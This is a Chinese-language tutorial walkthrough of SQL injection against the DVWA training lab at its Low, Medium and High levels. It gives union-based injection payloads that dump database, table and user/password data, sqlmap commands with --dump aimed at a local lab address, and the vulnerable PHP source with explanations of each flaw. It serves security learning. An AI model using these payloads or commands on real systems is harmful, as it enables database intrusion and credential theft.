SQL Injection(SQL注入)
SQL Injection(SQL注入),是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。
SQL注入流程
拿到一个查询条件的web网页,就需要对输入框做以下的事情
1.判断是否存在注入,注入是字符型还是数字型
这里给大家说一个骚操作,可以直接判断出是字符型还是数字型注入
构造payload为:id=1 order by 9999 --+
用 id=1 order by 9999 --+ 如果有回显的话那它就是字符型注入,无回显就是数字型注入
在现实生活中,根本就没什么可能会存在有9999个字段的表,所以会报错。
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据
SQL Injection-LOW:
注入点判断
首先找漏洞点,判断注入的类型。
1
1\
1' #
1 and 1=1#
1 and 1=2# 不是数字型注入
1’ and 1=1#
前三个输入过后页面都会有对应的回显。
1' and 1=2#
输入1' and 1=2# 的时候页面无回显,由此判断是字符型单引号闭合的注入
判断字段
Order by 1,2,3……
由此判断列数为2
获取数据库名
使用union 联合查询 查出库名和版本
1' union select 1,database() from information_schema.schemata #
1' union select database(),version() #
获取表名
1' union select 1,table_name from information_schema.tables where table_schema='dvwa' #
有两张表guestbook,users
获取列名
1' union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#
共8列,user_id、first_name、last_name、user、password、avatar、last_login、failed_login
获取数据
1' union select 1,group_concat(user,password) from users #
利用sqlmap工具来实现注入
获取当前库名
sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=p86jop2tpduvf1f5kpp9bapv54" --current-db --batch
获取表名
sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=p86jop2tpduvf1f5kpp9bapv54" --batch -D dvwa --tables
获取列名
sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=p86jop2tpduvf1f5kpp9bapv54" --batch -D dvwa -T users --columns
获取数据
sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=p86jop2tpduvf1f5kpp9bapv54" --batch -D dvwa -T users --columns --dump
源码解析
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
主要步骤
isset检测变量Submit是否已设置并且非 NULL,即判断用户是否点击了Submit按钮。
得到用户提交的数据 id
利用用户数据拼接成sql语句query
使用mysqli_query函数执行sql语句并返回结果给result,若出错,使用die函数报错
使用mysqli_fetch_assoc函数获取结果集的一行给变量row
使用first、last变量获取row中的first_name、last_name字段,并使用echo打印 用户输入的id和变量first、last
漏洞原因
没有进行预编译
用户数据拼接了代码,没有实现代码、数据分离
没有进行敏感字符过滤
SQL Injection-MIDIUM
url上没有参数,是post方式,下拉框进行选择,只能抓包了。
注入点判断
payload和LOW级别的Union注入一样
数字型无需闭合
字段判断、获取数据库与LOW一致,不必闭合,由在客户端提交,改为在burpsuite中提交。
例如,数据库判断,其他类似。
id=1 UNION SELECT 1,database() from information_schema.schemata#&Submit=Submit
获取表名
1 UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#
发现单引号被转义了
工具BEJSON,进行字符转16进制,注意,工具没有加0x,需要自行添加。
1 UNION SELECT 1,table_name from information_schema.tables where table_schema=0x64767761#
即'dvwa'转为16进制的dvwa 0x64767761
后序步骤类似,将字符转为16进制即可。
利用sqlmap工具来实现注入
查看接口信息
尝试爆破数据库名称:传参形式以data的形式![](https://i-blog.csdnimg.cn/direct/df7ed0dc423e49a29ac163795b9b0849.png)
sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli/#" --cookie="http://192.168.0.103:8080/vulnerabilities/sqli/#" --data="id=1&Submit=Submit" --batch --dbs
尝试爆破数据库中表信息
sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli/#" --cookie="http://192.168.0.103:8080/vulnerabilities/sqli/#" --data="id=1&Submit=Submit" --batch -D dvwa --tables
尝试爆破数据库中users表的字段信息
sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli/#" --cookie="http://192.168.0.103:8080/vulnerabilities/sqli/#" --data="id=1&Submit=Submit" --batch -D dvwa -T users --columns
尝试猜解数据库中users的数据内容
sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli/#" --cookie="http://192.168.0.103:8080/vulnerabilities/sqli/#" --data="id=1&Submit=Submit" --batch -D dvwa -T users --dump
源码分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
步骤
isset检测变量Submit是否已设置并且非 NULL,即判断用户是否点击了Submit按钮。
得到用户提交的数据 id,使用mysqli_real_escape_string函数进行转义
利用用户数据拼接成sql语句query
使用mysqli_query函数执行sql语句并返回结果给result,若出错,使用die函数报错
使用mysqli_fetch_assoc函数获取结果集的一行给变量row
使用first、last变量获取row中的first_name、last_name字段,并使用echo打印 用户输入的id和变量first、last
漏洞原因
没有进行预编译
用户数据拼接了代码,没有实现代码、数据分离
没有很好的对敏感关键字进行过滤。想要利用mysqli_real_escape_string函数进行敏感字符过滤,但是mysqli_real_escape_string函数并不能过滤一些敏感的关键字(如 and or等),它的功能只是转义一些字符,仅成功过滤了',属于开发者对函数功能了解的不够全,网络安全-php安全知识点中有对该函数的解释。
SQL Injection-HIGH
点击按钮弹出窗口,然后再填写数据。
注入点检测
1' and 1=1#
1' 1=2#
字符型注入,需要闭合,闭合字符为 ' ,当然,在这之前我也尝试了数字型
字段判断
1'order by 2#
1' order by 3
字段3报错了 字段为2
获取表名
1' UNION SELECT 1,table_name from information_schema.tables where table_schema=database()#
除了有这个单窗之外基本上和low等级一样
利用sqlmap工具来实现注入
1.将DVWA难度调整为high之后,我们可以看到high等级的输入查询在弹窗进行输入,而数据显示确在原窗口进行显示。原窗口数据包请求方式为get,弹出的输入窗口请求方式为post。
2.这时候我们需要用到联合查询命令‘second-url’。测试语句:
sqlmap -u "[数据提交页面url]" --data "[request]" --second-u "[数据显示页面url]" --cookie="[站点cookie]"
这里的表名和数据我就不做演示了
源码分析
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
主要步骤
isset检测Session中的id变量是否已设置并且非 NULL
得到用户提交的数据 id
利用用户数据拼接成sql语句query,id当做字符串
使用mysqli_query函数执行sql语句并返回结果给result,若出错,使用die函数报错,错误是自定义的
使用mysqli_fetch_assoc函数获取结果集的一行给变量row
使用first、last变量获取row中的first_name、last_name字段,并使用echo打印 用户输入的id和变量first、last
漏洞原因
没有进行预编译
用户数据拼接了代码,没有实现代码、数据分离
想要利用session和自定义错误返回来增加安全系数,成功的躲过了Error注入方式
SQL Injection(Blind)-LOW
DVWA(Impossible)
前面的初、中、高级其实都是通过限制数据输入来起到防护作用,而我们在手工注入的时候通过使用burpsuit等抓包工具篡改数据包都是可以绕过它的限制的。Impossible等级则是在数据传到后端之后先进行了格式验证,然后还使用了PDO预处理。人家都说了Impossible,我们就等有能力了再挣扎吧,目前是无法进行注入的。
我都是看着几位师傅的文章学习的大家可以多多练习
网络安全-靶机dvwa之sql注入Low到High详解(含代码分析)_dvwa sql注入低中高代码分析-CSDN博客